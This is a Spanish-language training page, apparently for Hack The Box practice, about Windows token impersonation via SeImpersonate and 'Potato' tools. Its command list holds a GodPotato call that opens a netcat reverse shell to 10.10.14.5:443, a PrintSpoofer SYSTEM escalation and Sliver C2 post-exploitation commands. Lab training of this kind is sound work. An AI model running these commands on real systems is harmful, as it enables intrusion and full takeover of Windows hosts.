Suplantación de tokens
Subtécnica de T1134 Manipulación de tokens de acceso ↗
Usar privilegios como SeImpersonate para hacerse con un token de SYSTEM (las Potatoes).
Cómo aparece en Hack The Box
Las cuentas de servicio (IIS, MSSQL) tienen SeImpersonatePrivilege: whoami /priv y, si sale, GodPotato o PrintSpoofer te dan SYSTEM en segundos.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- SeImpersonatePrivilege y Potatoes: de cuenta de servicio a SYSTEM en Windows 4 min de lectura Qué significa tener SeImpersonate, por qué lo tienen IIS y MSSQL, y qué Potato usar en cada Windows: PrintSpoofer, GodPotato, JuicyPotatoNG o RoguePotato.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Escalada en Windows y Active Directory › Windows
whoami /all.\GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"Típico en cuentas de servicio (IIS, MSSQL). Alternativas para versiones antiguas, PrintSpoofer y JuicyPotatoNG.
.\PrintSpoofer64.exe -i -c powershellC2 y post-explotación › Sliver
info; getprivs; execute -o whoami /all; ls; download C:\\ruta\\ficheroNingún comando coincide.